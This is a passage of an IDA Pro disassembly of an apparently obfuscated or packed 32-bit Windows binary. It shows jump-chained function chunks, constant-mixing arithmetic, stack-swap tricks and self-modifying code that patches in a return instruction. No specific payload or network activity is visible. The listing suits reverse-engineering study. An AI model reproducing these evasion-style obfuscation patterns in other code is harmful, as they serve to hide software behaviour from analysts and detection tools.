--------------------------------------------------------------------------- cdq jbe loc_4393E1 jmp loc_4461DB ; --------------------------------------------------------------------------- loc_444211: ; CODE XREF: y22d6.y.:00443ED7j pop ebx sub esi, 42BED10Dh jmp loc_44D07B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43BCA9 loc_44421D: ; CODE XREF: sub_43BCA9-4A23j or esi, 0ABF3A8D4h jmp loc_43AFF5 ; END OF FUNCTION CHUNK FOR sub_43BCA9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4475B3 loc_444228: ; CODE XREF: sub_4475B3-462Bj pop ecx or ecx, 0E49BC6B3h rol ecx, 2 xor ecx, 55A576FAh jmp loc_4450E7 ; END OF FUNCTION CHUNK FOR sub_4475B3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44DB81 loc_44423D: ; CODE XREF: sub_44DB81:loc_445F7Dj jz loc_44E045 jmp loc_43B10F ; END OF FUNCTION CHUNK FOR sub_44DB81 ; --------------------------------------------------------------------------- mov [esi], ebp ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_44424A: ; CODE XREF: sub_448EB6:loc_44707Bj jmp sub_4383E0 ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- loc_44424F: ; CODE XREF: y22d6.y.:loc_4398C5j jmp ds:dword_41E0EC ; --------------------------------------------------------------------------- loc_444255: ; CODE XREF: y22d6.y.:00442195j jmp locret_43CFE0 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_358. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- sbb al, 24h mov edx, ebx pop ebx js loc_43C1AA jmp loc_447405 ; --------------------------------------------------------------------------- loc_44426B: ; CODE XREF: y22d6.y.:loc_44D417j rol esi, 3 and esi, 9F0F0C82h rol esi, 0Eh add esi, 7F242085h xchg esi, [esp] jmp loc_447CB9 ; --------------------------------------------------------------------------- db 9, 0C0h ; --------------------------------------------------------------------------- jmp loc_4373F4 ; --------------------------------------------------------------------------- loc_44428C: ; CODE XREF: y22d6.y.:loc_44E1ECj ; y22d6.y.:0044E20Aj add edi, 0A62DD1D9h xchg edi, [esp] jmp loc_43F9B7 ; --------------------------------------------------------------------------- align 4 jmp loc_43FA2F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4499F4 loc_4442A1: ; CODE XREF: sub_4499F4+4j mov edx, ds:dword_440E84 or edx, edx jnz loc_44C706 jmp loc_443497 ; END OF FUNCTION CHUNK FOR sub_4499F4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43A041 loc_4442B4: ; CODE XREF: sub_43A041+4j add edx, 14h push offset loc_44BEC2 jmp loc_43FD95 ; END OF FUNCTION CHUNK FOR sub_43A041 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4385ED loc_4442C1: ; CODE XREF: sub_4385ED:loc_44C14Ej and edx, 0E8267E30h push offset loc_43944C jmp loc_449C8D ; END OF FUNCTION CHUNK FOR sub_4385ED ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C538 loc_4442D1: ; CODE XREF: sub_43C538+Ej call sub_449296 loc_4442D6: ; CODE XREF: sub_44CCBC+9j jmp sub_448E18 ; END OF FUNCTION CHUNK FOR sub_43C538 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4432B8 loc_4442DB: ; CODE XREF: sub_4432B8+2CDj pop eax add eax, 261C1150h rol eax, 14h push offset sub_439F5A jmp loc_444FCD ; END OF FUNCTION CHUNK FOR sub_4432B8 ; --------------------------------------------------------------------------- loc_4442EF: ; CODE XREF: y22d6.y.:00446287j jz loc_43C0CF jmp loc_43B85C ; --------------------------------------------------------------------------- loc_4442FA: ; CODE XREF: y22d6.y.:0043E4C8j mov edx, ebp push offset loc_442D3D jmp loc_4489C3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_447940 loc_444306: ; CODE XREF: sub_447940:loc_43AC83j add edx, 6F64AF13h mov [edx], eax call sub_4383E0 loc_444313: ; CODE XREF: sub_43E3BD+2632j jmp loc_44B2B8 ; END OF FUNCTION CHUNK FOR sub_447940 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44B17B loc_444318: ; CODE XREF: sub_44B17B-10F4Ej jle loc_44D797 xchg edi, [esi] mov eax, [ebx] sbb ebx, eax jmp loc_441870 ; END OF FUNCTION CHUNK FOR sub_44B17B ; --------------------------------------------------------------------------- loc_444329: ; CODE XREF: y22d6.y.:0044DA13j jbe loc_442024 push esi shl ecx, 12h sub edx, eax loc_444335: ; CODE XREF: y22d6.y.:loc_44DA07j call sub_441FB5 loc_44433A: ; CODE XREF: y22d6.y.:00442C77j jmp locret_438BA9 ; --------------------------------------------------------------------------- loc_44433F: ; DATA XREF: sub_4397E6+107DAo mov eax, [ebp-4] mov al, [eax] jb loc_43F8D4 sub al, 99h mov edx, [ebp-4] jmp loc_43F75A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44B1D2 loc_444354: ; CODE XREF: sub_44B1D2-117Bj jnz loc_44E112 jmp loc_43B6C7 ; END OF FUNCTION CHUNK FOR sub_44B1D2 ; --------------------------------------------------------------------------- locret_44435F: ; CODE XREF: y22d6.y.:0043B512j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_437B43 loc_444360: ; CODE XREF: sub_437B43+10475j jmp loc_4432B1 ; END OF FUNCTION CHUNK FOR sub_437B43 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43FF1B loc_444365: ; CODE XREF: sub_43FF1B+Ej push esi push 0A4DD96F6h pop esi rol esi, 1Dh sub esi, 0A78AA3E9h add esi, 7C7D5942h xor esi, 424B79DDh jmp loc_447784 ; END OF FUNCTION CHUNK FOR sub_43FF1B ; --------------------------------------------------------------------------- mov eax, [esp] call sub_4480DE retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439407 loc_44438F: ; CODE XREF: sub_439407+10536j jmp loc_440A7D ; END OF FUNCTION CHUNK FOR sub_439407 ; --------------------------------------------------------------------------- dword_444394 dd 0B6F98E2Eh ; DATA XREF: sub_44B635:loc_443A69r ; sub_44B635+6r ; --------------------------------------------------------------------------- loc_444398: ; CODE XREF: y22d6.y.:0044CCE9j jmp loc_44B2CD ; =============== S U B R O U T I N E ======================================= sub_44439D proc near ; CODE XREF: sub_401000+40p ; sub_401000+50p ... ; FUNCTION CHUNK AT 00439801 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043B0FD SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0043D97C SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0043FEBB SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00440667 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00440781 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0044292E SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00443AF4 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0044583E SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00446170 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00446464 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 004488D2 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0044B553 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0044C684 SIZE 00000011 BYTES jo loc_43D97C push offset loc_449A0D jmp loc_439801 sub_44439D endp ; =============== S U B R O U T I N E ======================================= sub_4443AD proc near ; DATA XREF: sub_43B006+12F82o ; FUNCTION CHUNK AT 0044BCBD SIZE 00000005 BYTES mov ds:off_41E204, eax lea eax, loc_440A66 mov byte ptr [eax], 0C3h jmp loc_44BCBD sub_4443AD endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44D7E0 loc_4443C1: ; CODE XREF: sub_44D7E0:loc_440A66j pop edx jmp loc_43AC18 ; END OF FUNCTION CHUNK FOR sub_44D7E0 ; --------------------------------------------------------------------------- mov [edx], ecx jmp sub_44BB81 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44C02C loc_4443CE: ; CODE XREF: sub_44C02C-FAD6j adc ebx, 8DDCAAC7h loc_4443D4: ; CODE XREF: sub_44C02C:loc_43F6BAj call sub_43FEC6 ; END OF FUNCTION CHUNK FOR sub_44C02C ; START OF FUNCTION CHUNK FOR sub_44AA69 loc_4443D9: ; CODE XREF: sub_44AA69+18j jmp loc_437697 ; END OF FUNCTION CHUNK FOR sub_44AA69 ; --------------------------------------------------------------------------- loc_4443DE: ; CODE XREF: y22d6.y.:00440C49j jmp loc_43DDF6 ; --------------------------------------------------------------------------- loc_4443E3: ; CODE XREF: y22d6.y.:0043EA08j jmp loc_43ADCD ; --------------------------------------------------------------------------- jmp ds:dword_41E0E4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_444131 loc_4443EE: ; CODE XREF: sub_444131-4EE2j jmp sub_4425E0 ; END OF FUNCTION CHUNK FOR sub_444131 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_198. PRESS KEYPAD "+" TO EXPAND] dd 9C7684h, 0B0E85A00h ; --------------------------------------------------------------------------- or eax, 0C60000h ; DATA XREF: sub_44D2DA+Bo retn ; --------------------------------------------------------------------------- jmp loc_442558 ; --------------------------------------------------------------------------- push edi push 3568AAFh pop edi sub edi, 0D5CAB827h rol edi, 0Bh jmp loc_44CF82 ; =============== S U B R O U T I N E ======================================= sub_44441C proc near ; CODE XREF: sub_40300B+C8p ; sub_44441C+5j ; DATA XREF: ... call sub_444427 jmp ds:off_41E200 sub_44441C endp ; =============== S U B R O U T I N E ======================================= sub_444427 proc near ; CODE XREF: sub_4408F2:loc_439628j ; y22d6.y.:0043F9DBj ... var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0043986E SIZE 00000018 BYTES ; FUNCTION CHUNK AT 00439B59 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0043CF33 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0043E2B8 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043EEAF SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0043F0C4 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0043FCA6 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00441665 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00441962 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00441A50 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00441EAA SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0044231A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044250C SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00442AF3 SIZE 00000002 BYTES ; FUNCTION CHUNK AT 00442CAF SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0044396B SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0044704C SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00447C24 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 004482E0 SIZE 0000002C BYTES ; FUNCTION CHUNK AT 0044926F SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00449910 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044D4ED SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044E573 SIZE 00000012 BYTES jno loc_447C24 pop edx mov eax, [esp+0] push ecx jmp loc_44D4ED sub_444427 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_444437 proc near ; DATA XREF: y22d6.y.:0043D6C1o xchg ecx, [esp+0] jmp sub_43CA1A sub_444437 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43F4BB loc_44443F: ; CODE XREF: sub_43F4BB+Aj ; y22d6.y.:0043FD75j or ebx, 0A1C3FA58h xor ebx, 0B95C02DDh add ebx, 0F3881681h push offset sub_44C703 jmp nullsub_353 ; END OF FUNCTION CHUNK FOR sub_43F4BB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43FAC6 loc_44445B: ; CODE XREF: sub_43FAC6+E257j jge loc_43EBA1 cmp ecx, 91D1DD60h jmp loc_43EB90 ; END OF FUNCTION CHUNK FOR sub_43FAC6 ; --------------------------------------------------------------------------- loc_44446C: ; CODE XREF: y22d6.y.:loc_442282j cmp edx, 0EFED91A2h jmp loc_43926A ; --------------------------------------------------------------------------- locret_444477: ; CODE XREF: y22d6.y.:0044D9A2j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44807C loc_444478: ; CODE XREF: sub_44807C-1098Fj jmp loc_43C404 ; END OF FUNCTION CHUNK FOR sub_44807C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4432B8 loc_44447D: ; CODE XREF: sub_4432B8:loc_43D020j jz loc_442334 jmp loc_44ABE3 ; END OF FUNCTION CHUNK FOR sub_4432B8 ; --------------------------------------------------------------------------- loc_444488: ; CODE XREF: y22d6.y.:0044D9B4j adc esi, 0E47C1EEFh jnp loc_44C21D ; START OF FUNCTION CHUNK FOR sub_448C77 loc_444494: ; CODE XREF: sub_448C77:loc_44D9A7j and ebx, 0D36A0AB8h or ebx, 419B4985h loc_4444A0: ; CODE XREF: y22d6.y.:loc_449BD1j rol ebx, 1Ah add ebx, 6AF44904h xchg ebx, [esp+8+var_8] jmp sub_43EF0B ; END OF FUNCTION CHUNK FOR sub_448C77 ; =============== S U B R O U T I N E ======================================= sub_4444B1 proc near ; CODE XREF: sub_442FA7-69CBp ; y22d6.y.:0043D34Fj xchg edi, [esp+0] pop edi add eax, [ebp-4] xor edx, edx jmp loc_43D9D8 sub_4444B1 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44D313 loc_4444BF: ; CODE XREF: sub_44D313:loc_4426C9j push offset sub_4494C8 jmp loc_445A55 ; END OF FUNCTION CHUNK FOR sub_44D313 ; --------------------------------------------------------------------------- push 0AD33E3BDh ; =============== S U B R O U T I N E ======================================= sub_4444CE proc near ; CODE XREF: sub_44485F+94E4p arg_0 = dword ptr 4 xchg ebx, [esp+0] pop ebx mov eax, [eax+0Ch] call sub_446236 loc_4444DA: ; CODE XREF: y22d6.y.:0044E2B1j add edx, 479DAE36h xchg esi, ebp loc_4444E2: ; CODE XREF: sub_4416CB:loc_44E29Fj sub esi, 0B6EE052Ah xor esi, 0D363425Dh add esi, 84B7B090h xchg esi, [esp-4+arg_0] jmp loc_44BA68 sub_4444CE endp ; sp-analysis failed ; --------------------------------------------------------------------------- mov eax, 19EDC823h jmp loc_447CAA ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_218. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439051 loc_444507: ; CODE XREF: sub_439051+9Bj jmp loc_44582D ; END OF FUNCTION CHUNK FOR sub_439051 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_438B66 loc_44450C: ; CODE XREF: sub_438B66:loc_43F7F0j xor edx, 9183C6EBh call sub_43C1F5 ; END OF FUNCTION CHUNK FOR sub_438B66 ; START OF FUNCTION CHUNK FOR sub_447896 loc_444517: ; CODE XREF: sub_447896+2DE7j jmp loc_442658 ; END OF FUNCTION CHUNK FOR sub_447896 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44271A loc_44451C: ; CODE XREF: sub_44271A-51A4j jmp loc_43D36E ; END OF FUNCTION CHUNK FOR sub_44271A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_444D45 loc_444521: ; CODE XREF: sub_444D45:loc_43CD11j rol edi, 0Eh or edi, 0C215B91Ch add edi, 6A7DBF33h rol edi, 1 add edi, 6B5D0697h xchg edi, [esp-4+arg_0] jmp sub_43CA1A ; END OF FUNCTION CHUNK FOR sub_444D45 ; --------------------------------------------------------------------------- loc_444540: ; CODE XREF: y22d6.y.:00438430j pushf ; =============== S U B R O U T I N E ======================================= sub_444541 proc near ; CODE XREF: sub_44DB71+4p var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00437D1A SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00438F08 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00439FC6 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043A154 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0043C1CC SIZE 00000028 BYTES ; FUNCTION CHUNK AT 0043C850 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004407F0 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044767E SIZE 0000001F BYTES ; FUNCTION CHUNK AT 00447A84 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0044A743 SIZE 00000025 BYTES ; FUNCTION CHUNK AT 0044D5D7 SIZE 00000018 BYTES xchg ebx, [esp+0] pop ebx call sub_44B674 jmp loc_4407F0 sub_444541 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44B489 loc_44454F: ; CODE XREF: sub_44B489:loc_44034Fj jz loc_443D8D pop esi jmp loc_4420C4 ; END OF FUNCTION CHUNK FOR sub_44B489 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_222. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43704E loc_44455C: ; CODE XREF: sub_43704E+C9D6j jmp loc_439BF8 ; END OF FUNCTION CHUNK FOR sub_43704E ; --------------------------------------------------------------------------- loc_444561: ; CODE XREF: y22d6.y.:0043CEBAj jmp loc_4416D1 ; --------------------------------------------------------------------------- dw 0E222h dword_444568 dd 77E60000h ; DATA XREF: sub_448EB6-B876w ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C7C1 loc_44456C: ; CODE XREF: sub_43C7C1+F59Ej jmp loc_44D1B3 ; END OF FUNCTION CHUNK FOR sub_43C7C1 ; --------------------------------------------------------------------------- db 75h, 6Fh, 0FDh ; --------------------------------------------------------------------------- loc_444574: ; DATA XREF: y22d6.y.:0043E64Fo ; y22d6.y.:00448867o dec ebx mov ds:265172A4h, al inc si pop esp enter 36D8h, 0 ; =============== S U B R O U T I N E ======================================= sub_444581 proc near ; CODE XREF: sub_43872E:loc_4385A7p ; sub_438399+F97j ... var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00437AE5 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0043879F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00438EE4 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00439040 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00439133 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00439A4D SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0043B348 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0043B95A SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0043F254 SIZE 00000023 BYTES ; FUNCTION CHUNK AT 0043FA87 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0043FD9A SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00441046 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 00441B00 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00441BE3 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00442758 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004436D6 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00444784 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00449773 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00449DC7 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0044A2B2 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044B55E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044C4A8 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0044CDD2 SIZE 00000005 BYTES jo loc_43FA87 jmp loc_449DC7 sub_444581 endp ; sp-analysis failed ; --------------------------------------------------------------------------- shr edx, 15h xchg eax, [ecx] pop esi jmp loc_43DD91 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_441A2B loc_444597: ; CODE XREF: sub_441A2B:loc_437117j jge loc_443451 loc_44459D: ; CODE XREF: y22d6.y.:0044BE43j jmp nullsub_73 ; END OF FUNCTION CHUNK FOR sub_441A2B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_438DAA loc_4445A2: ; CODE XREF: sub_438DAA+50BEj jmp sub_4428AA ; END OF FUNCTION CHUNK FOR sub_438DAA ; --------------------------------------------------------------------------- test edi, 338138E2h jmp loc_44E080 ; --------------------------------------------------------------------------- loc_4445B2: ; CODE XREF: y22d6.y.:loc_43DBBBj jmp ds:dword_41E0CC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_4445B8: ; CODE XREF: sub_448EB6+3A66j jmp loc_43E3DD ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_447BB2 loc_4445BD: ; CODE XREF: sub_447BB2-330Aj jmp loc_44B34F ; END OF FUNCTION CHUNK FOR sub_447BB2 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_341. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- cmp al, 24h mov edx, edi pop edi jnb loc_447B79 mov eax, [esp] push ecx mov ecx, edx jmp loc_43C672 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43F750 loc_4445D9: ; CODE XREF: sub_43F750+B276j adc ecx, 2097E204h cmp ebx, edx jmp loc_4407DC ; END OF FUNCTION CHUNK FOR sub_43F750 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_444F37 loc_4445E6: ; CODE XREF: sub_444F37:loc_438669j xor eax, 3ADCE2E8h cmp eax, 59A2C898h jmp loc_439B15 ; END OF FUNCTION CHUNK FOR sub_444F37 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43E5C2 loc_4445F7: ; CODE XREF: sub_43E5C2:loc_441A4Aj push edx jmp loc_44A6EF ; END OF FUNCTION CHUNK FOR sub_43E5C2 ; =============== S U B R O U T I N E ======================================= sub_4445FD proc near ; CODE XREF: y22d6.y.:00438743j ; y22d6.y.:0043CADDp xchg edx, [esp+0] pop edx mov eax, [eax] call sub_4421D3 sub_4445FD endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_43CB9B loc_444608: ; CODE XREF: sub_43CB9B:loc_44983Cj push edx call sub_444822 loc_44460E: ; CODE XREF: y22d6.y.:00449750j jmp sub_43CA1A ; END OF FUNCTION CHUNK FOR sub_43CB9B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43D9D2 loc_444613: ; CODE XREF: sub_43D9D2+3977j jmp loc_439E72 ; END OF FUNCTION CHUNK FOR sub_43D9D2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_438DAA loc_444618: ; CODE XREF: sub_438DAA+17j jmp loc_43DE53 ; END OF FUNCTION CHUNK FOR sub_438DAA ; --------------------------------------------------------------------------- loc_44461D: ; CODE XREF: y22d6.y.:00439740j or eax, 0D64D0987h add eax, 20F6BA3Dh call sub_4456C2 mov [edi], edx xchg ebp, edx jmp sub_43DABB ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_335. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_444638: ; CODE XREF: sub_448EB6+29Fj jmp loc_43AF70 ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448488 loc_44463D: ; CODE XREF: sub_448488+1j jmp loc_441882 ; END OF FUNCTION CHUNK FOR sub_448488 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_438FBB loc_444642: ; CODE XREF: sub_438FBB+6j jmp nullsub_71 ; END OF FUNCTION CHUNK FOR sub_438FBB ; --------------------------------------------------------------------------- loc_444647: ; CODE XREF: y22d6.y.:00437D37j jmp loc_441C72 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43F35E loc_44464C: ; CODE XREF: sub_43F35E:loc_443EDDj xchg edx, [ecx] jmp loc_44283B ; END OF FUNCTION CHUNK FOR sub_43F35E ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_174. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4411BD loc_444654: ; CODE XREF: sub_4411BD+Aj jmp loc_439ECE ; END OF FUNCTION CHUNK FOR sub_4411BD ; --------------------------------------------------------------------------- loc_444659: ; CODE XREF: y22d6.y.:0043DDA0j jmp loc_44DA07 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43CFF2 loc_44465E: ; CODE XREF: sub_43CFF2:loc_445067j pop edx push esi push 0E3164581h xchg eax, [esp-0Ch+arg_8] mov esi, eax jmp loc_43CA15 ; END OF FUNCTION CHUNK FOR sub_43CFF2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44057E loc_44466F: ; CODE XREF: sub_44057E:loc_43A71Cj jns loc_43EE44 cdq shr ebx, 19h jmp loc_445055 ; END OF FUNCTION CHUNK FOR sub_44057E ; --------------------------------------------------------------------------- shr esi, 0Bh jmp loc_4499EE ; =============== S U B R O U T I N E ======================================= sub_444686 proc near ; CODE XREF: y22d6.y.:0043CB6Cj ; y22d6.y.:0044570Ep xchg ecx, [esp+0] sub_444686 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_43B252 loc_444689: ; CODE XREF: sub_43B252+317Aj pop ecx or eax, eax jnz loc_4415BC jmp loc_44485A ; END OF FUNCTION CHUNK FOR sub_43B252 ; --------------------------------------------------------------------------- loc_444697: ; CODE XREF: y22d6.y.:004478DEj push 0DF5E0011h ; =============== S U B R O U T I N E ======================================= sub_44469C proc near ; CODE XREF: sub_4419CC+7p var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00437AD1 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00437D8C SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00442096 SIZE 00000019 BYTES xchg ebx, [esp+0] pop ebx mov eax, [esp-4+arg_0] push edx call sub_440AF5 jmp loc_437D8C sub_44469C endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C55B loc_4446AE: ; CODE XREF: sub_43C55B:loc_43AD50j call sub_44DB81 loc_4446B3: ; CODE XREF: sub_448B71-F2D8j jmp loc_44BFEF ; END OF FUNCTION CHUNK FOR sub_43C55B ; =============== S U B R O U T I N E ======================================= sub_4446B8 proc near ; DATA XREF: y22d6.y.:0043A833o var_8 = dword ptr -8 ; FUNCTION CHUNK AT 00444C24 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00445A98 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044E0E8 SIZE 0000001D BYTES push edx push 82717FD0h xchg ebx, [esp+8+var_8] mov edx, ebx pop ebx rol edx, 0Ch sub edx, 7274B3Bh rol edx, 8 jmp loc_445A98 sub_4446B8 endp ; --------------------------------------------------------------------------- loc_4446D5: ; CODE XREF: y22d6.y.:0043D4CFj jz loc_44BAFE xor ebp, eax cdq jmp loc_44BAFE ; --------------------------------------------------------------------------- mov eax, 83ED7AACh push edx add edx, eax jmp loc_445A28 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44AEDA loc_4446F0: ; CODE XREF: sub_44AEDA:loc_437A57j pop edx cmp dword ptr [ebp-14h], 0 jnz loc_43E9AF jmp loc_441999 ; END OF FUNCTION CHUNK FOR sub_44AEDA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_444871 loc_444700: ; CODE XREF: sub_444871:loc_4455E3j push 0E7853BD7h pop ecx and ecx, 3E2DDB4Eh test ecx, 80000000h jmp loc_43FDA5 ; END OF FUNCTION CHUNK FOR sub_444871 ; =============== S U B R O U T I N E ======================================= sub_444717 proc near ; DATA XREF: y22d6.y.:004430C7o call sub_43C3D7 pop ecx mov [ebp-20h], eax sub_444717 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_44CB3F loc_444720: ; CODE XREF: y22d6.y.:004371A9j ; sub_448EB6-DCFCj ... jnb loc_4372DB test byte ptr [ebp-8], 40h push offset sub_44B0E5 jmp nullsub_131 ; END OF FUNCTION CHUNK FOR sub_44CB3F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4432B8 loc_444734: ; CODE XREF: sub_4432B8+CEDj cmp eax, ecx jmp loc_4452B7 ; END OF FUNCTION CHUNK FOR sub_4432B8 ; --------------------------------------------------------------------------- loc_44473B: ; CODE XREF: y22d6.y.:00438776j xchg ebx, [esp] mov ecx, ebx pop ebx and ecx, 0C200897Ch xor ecx, 3303275Ch jmp loc_43B760 ; --------------------------------------------------------------------------- or ebp, 0DE89C7D5h jg loc_449366 jmp sub_4404C7 ; --------------------------------------------------------------------------- or ecx, 0E8881192h jmp loc_43CC5D ; --------------------------------------------------------------------------- loc_44476E: ; CODE XREF: y22d6.y.:0043ED06j jnz loc_43A575 jmp loc_44C2BF ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_94. PRESS 